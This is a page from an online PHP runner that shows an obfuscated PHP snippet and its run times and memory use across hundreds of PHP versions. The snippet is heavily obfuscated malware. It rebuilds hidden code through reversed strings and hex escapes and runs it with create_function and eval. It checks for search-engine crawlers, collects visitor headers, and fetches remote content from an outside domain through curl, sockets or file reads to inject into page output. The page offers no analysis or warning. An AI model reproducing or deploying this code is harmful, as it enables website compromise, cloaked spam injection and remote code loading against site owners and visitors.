3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $s1v ="create_function"; $slv = "strrev"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; echo eval($test);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.75
8.3.50.0060.01516.38
8.3.40.0040.01118.96
8.3.30.0110.00418.63
8.3.20.0030.00620.01
8.3.10.0000.00821.77
8.3.00.0040.00419.79
8.2.180.0070.01416.88
8.2.170.0040.01122.96
8.2.160.0140.00719.41
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0060.00317.50
8.2.110.0060.00319.40
8.2.100.0060.00617.84
8.2.90.0050.00319.27
8.2.80.0030.00517.97
8.2.70.0030.00617.63
8.2.60.0000.00817.55
8.2.50.0050.00318.07
8.2.40.0040.00419.23
8.2.30.0060.00318.16
8.2.20.0000.00817.87
8.2.10.0040.00418.13
8.2.00.0040.00418.13
8.1.280.0060.00925.92
8.1.270.0100.00720.43
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0080.00423.91
8.1.230.0040.00820.97
8.1.220.0080.00017.74
8.1.210.0050.00318.77
8.1.200.0100.00017.25
8.1.190.0040.00417.35
8.1.180.0040.00418.10
8.1.170.0050.00318.50
8.1.160.0000.00722.02
8.1.150.0000.00818.84
8.1.140.0000.00817.55
8.1.130.0000.00717.73
8.1.120.0040.00417.41
8.1.110.0040.00717.54
8.1.100.0030.00617.52
8.1.90.0000.00717.57
8.1.80.0050.00317.53
8.1.70.0030.00317.47
8.1.60.0080.00017.53
8.1.50.0060.00317.58
8.1.40.0040.00417.57
8.1.30.0050.00317.57
8.1.20.0000.00717.69
8.1.10.0050.00217.54
8.1.00.0000.00817.54
8.0.300.0000.00720.05
8.0.290.0040.00416.88
8.0.280.0030.00318.34
8.0.270.0080.00017.22
8.0.260.0030.00617.21
8.0.250.0000.00816.98
8.0.240.0000.00717.05
8.0.230.0030.00617.09
8.0.220.0000.00817.00
8.0.210.0000.00716.88
8.0.200.0000.00717.05
8.0.190.0090.00017.06
8.0.180.0080.00017.03
8.0.170.0050.00316.90
8.0.160.0000.00816.99
8.0.150.0040.00416.91
8.0.140.0040.00416.92
8.0.130.0040.00413.43
8.0.120.0000.00816.99
8.0.110.0040.00416.83
8.0.100.0000.00716.83
8.0.90.0040.00416.84
8.0.80.0070.01016.88
8.0.70.0000.00716.86
8.0.60.0000.00716.94
8.0.50.0070.00016.82
8.0.30.0080.00917.05
8.0.20.0120.01017.40
8.0.10.0000.00716.96
8.0.00.0060.01216.75
7.4.330.0050.00015.30
7.4.320.0030.00316.84
7.4.300.0070.00017.03
7.4.290.0060.00316.93
7.4.280.0030.00616.93
7.4.270.0040.00416.91
7.4.260.0070.00016.77
7.4.250.0050.00316.75
7.4.240.0010.00716.86
7.4.230.0080.00016.80
7.4.220.0070.01116.99
7.4.210.0030.01316.97
7.4.200.0040.00417.05
7.4.160.0070.01116.85
7.4.150.0140.00717.40
7.4.140.0120.01217.86
7.4.130.0070.01116.89
7.4.120.0090.01016.93
7.4.110.0060.01316.82
7.4.100.0130.00916.86
7.4.90.0140.01016.94
7.4.80.0070.01119.39
7.4.70.0070.01016.79
7.4.60.0070.01317.14
7.4.50.0060.00316.92
7.4.40.0090.00916.96
7.4.30.0160.01017.04
7.4.00.0010.01415.32
7.3.330.0000.00713.72
7.3.320.0000.00513.68
7.3.310.0040.00416.76
7.3.300.0000.00816.66
7.3.290.0000.00816.70
7.3.280.0070.01016.65
7.3.270.0130.00717.40
7.3.260.0080.01016.71
7.3.250.0120.00816.80
7.3.240.0120.01216.73
7.3.230.0070.01816.78
7.3.210.0040.01516.75
7.3.200.0110.01416.73
7.3.190.0040.01416.72
7.3.180.0090.00916.67
7.3.170.0190.00016.89
7.3.160.0090.00916.75
7.3.120.0070.01415.42
7.3.110.0070.01315.02
7.3.100.0070.01415.42
7.3.90.0110.00415.12
7.3.80.0060.01215.18
7.3.70.0070.01015.30
7.3.60.0090.00615.18
7.3.50.0000.01515.22
7.3.40.0060.00315.27
7.3.30.0000.01115.16
7.3.20.0000.01016.93
7.3.10.0000.01516.58
7.3.00.0040.01216.89
7.2.330.0070.01417.18
7.2.320.0150.00317.11
7.2.310.0160.00617.02
7.2.300.0090.00917.07
7.2.290.0070.01417.01
7.2.250.0060.01315.55
7.2.240.0130.00315.21
7.2.230.0070.00315.28
7.2.220.0100.00715.59
7.2.210.0180.00315.08
7.2.200.0030.00715.38
7.2.190.0040.01215.48
7.2.180.0120.00615.32
7.2.170.0040.00715.52
7.2.160.0090.00615.52
7.2.150.0070.00317.16
7.2.140.0070.01017.23
7.2.130.0000.01517.30
7.2.120.0040.01116.93
7.2.110.0070.01316.90
7.2.100.0130.00717.16
7.2.90.0090.00617.27
7.2.80.0030.01317.30
7.2.70.0040.01117.18
7.2.60.0030.01317.24
7.2.50.0060.00617.25
7.2.40.0070.00717.11
7.2.30.0060.00917.16
7.2.20.0030.01017.15
7.2.10.0120.00317.35
7.2.00.0090.00818.49
7.1.330.0000.01815.77
7.1.320.0040.01115.78
7.1.310.0030.01416.17
7.1.300.0060.01016.14
7.1.290.0060.01215.68
7.1.280.0040.00815.93
7.1.270.0040.01115.98
7.1.260.0100.00715.87
7.1.250.0130.00315.92
7.1.240.0100.01015.88
7.1.230.0030.01315.95
7.1.220.0070.01015.97
7.1.210.0000.01415.96
7.1.200.0090.01015.99
7.1.190.0030.00716.20
7.1.180.0060.00916.12
7.1.170.0040.00815.95
7.1.160.0000.01116.11
7.1.150.0060.00916.10
7.1.140.0060.00616.06
7.1.130.0110.00416.02
7.1.120.0060.00915.77
7.1.110.0000.01516.09
7.1.100.0030.01017.08
7.1.90.0140.00016.11
7.1.80.0080.00816.25
7.1.70.0080.00716.44
7.1.60.0080.01017.60
7.1.50.0140.00716.73
7.1.40.0110.00016.09
7.1.30.0100.00616.19
7.1.20.0040.01116.22
7.1.10.0030.00915.98
7.1.00.0010.04719.19
7.0.330.0060.00615.41
7.0.320.0000.01715.71
7.0.310.0100.00715.61
7.0.300.0100.00315.43
7.0.290.0000.01315.43
7.0.280.0070.00715.66
7.0.270.0060.00615.46
7.0.260.0040.00815.46
7.0.250.0060.00615.84
7.0.240.0090.00015.77
7.0.230.0000.01015.78
7.0.220.0070.00315.72
7.0.210.0060.00715.73
7.0.200.0050.00916.23
7.0.190.0090.00015.52
7.0.180.0000.01415.82
7.0.170.0060.01015.67
7.0.160.0060.00315.79
7.0.150.0000.01015.73
7.0.140.0000.01415.68
7.0.130.0000.01315.77
7.0.120.0040.01515.34
7.0.110.0030.00915.63
7.0.100.0050.05017.90
7.0.90.0020.04917.84
7.0.80.0080.03317.88
7.0.70.0060.04317.79
7.0.60.0050.04417.65
7.0.50.0070.04318.16
7.0.40.0080.04416.84
7.0.30.0070.04516.90
7.0.20.0100.04516.84
7.0.10.0080.04216.86
7.0.00.0030.04516.90
5.6.400.0100.00715.02
5.6.390.0100.00014.39
5.6.380.0030.01614.91
5.6.370.0030.01314.62
5.6.360.0070.00714.49
5.6.350.0070.00314.57
5.6.340.0000.01114.55
5.6.330.0070.00714.78
5.6.320.0030.00714.80
5.6.310.0090.00614.53
5.6.300.0060.00314.74
5.6.290.0070.00714.34
5.6.280.0080.01817.96
5.6.270.0040.01514.85
5.6.260.0110.00314.63
5.6.250.0100.02517.75
5.6.240.0110.02717.67
5.6.230.0050.04717.56
5.6.220.0050.02917.79
5.6.210.0060.04817.69
5.6.200.0130.04317.95
5.6.190.0050.04617.88
5.6.180.0100.03717.86
5.6.170.0100.04317.87
5.6.160.0060.04017.86
5.6.150.0080.02617.99
5.6.140.0130.03817.85
5.6.130.0050.03617.86
5.6.120.0070.02717.94
5.6.110.0100.04017.90
5.6.100.0080.04417.91
5.6.90.0070.05117.89
5.6.80.0100.03017.38
5.6.70.0120.03817.48
5.6.60.0080.04317.60
5.6.50.0060.03317.64
5.6.40.0050.03617.39
5.6.30.0030.04817.46
5.6.20.0050.04617.51
5.6.10.0100.03717.52
5.6.00.0090.04117.67
5.5.380.0100.04217.62
5.5.370.0050.02817.42
5.5.360.0050.03817.53
5.5.350.0080.04317.48
5.5.340.0030.04017.73
5.5.330.0070.04517.81
5.5.320.0070.04417.75
5.5.310.0120.03317.77
5.5.300.0120.03717.80
5.5.290.0130.04017.61
5.5.280.0150.04117.86
5.5.270.0080.04317.75
5.5.260.0080.04017.64
5.5.250.0050.04317.53
5.5.240.0110.03817.37
5.5.230.0050.04517.33
5.5.220.0030.04717.33
5.5.210.0100.04317.42
5.5.200.0050.04817.53
5.5.190.0130.04017.41
5.5.180.0060.03817.33
5.5.170.0120.00314.43
5.5.160.0080.04117.41
5.5.150.0110.03917.42
5.5.140.0080.03917.44
5.5.130.0080.04017.42
5.5.120.0020.04617.29
5.5.110.0080.04117.38
5.5.100.0070.04317.33
5.5.90.0050.04317.34
5.5.80.0020.04917.49
5.5.70.0070.03817.21
5.5.60.0090.02617.35
5.5.50.0070.03217.40
5.5.40.0050.02917.28
5.5.30.0150.02417.24
5.5.20.0050.04917.23
5.5.10.0040.04617.21
5.5.00.0030.04117.31
5.4.450.0120.04015.59
5.4.440.0050.03715.66
5.4.430.0100.02715.65
5.4.420.0050.02715.60
5.4.410.0100.03915.70
5.4.400.0080.02915.51
5.4.390.0050.04015.42
5.4.380.0090.04215.55
5.4.370.0030.04315.59
5.4.360.0080.04515.57
5.4.350.0090.04215.60
5.4.340.0050.04215.42
5.4.330.0050.00311.94
5.4.320.0120.03015.55
5.4.310.0080.03815.56
5.4.300.0060.04015.41
5.4.290.0100.03815.46
5.4.280.0100.04015.45
5.4.270.0100.03215.56
5.4.260.0070.03915.51
5.4.250.0080.03815.60
5.4.240.0050.03815.61
5.4.230.0080.03215.41
5.4.220.0070.01915.46
5.4.210.0060.03615.50
5.4.200.0070.03915.57
5.4.190.0070.04415.57
5.4.180.0070.04215.55
5.4.170.0050.03615.49
5.4.160.0070.03515.58
5.4.150.0080.04115.49
5.4.140.0030.03514.21
5.4.130.0080.03514.21
5.4.120.0080.03614.20
5.4.110.0080.03814.21
5.4.100.0070.04114.21
5.4.90.0060.02814.22
5.4.80.0050.02614.25
5.4.70.0060.04014.22
5.4.60.0030.02914.18
5.4.50.0060.03714.24
5.4.40.0030.04014.13
5.4.30.0090.03414.25
5.4.20.0000.04514.17
5.4.10.0050.02714.25
5.4.00.0050.04213.92

preferences:
60.43 ms | 400 KiB | 5 Q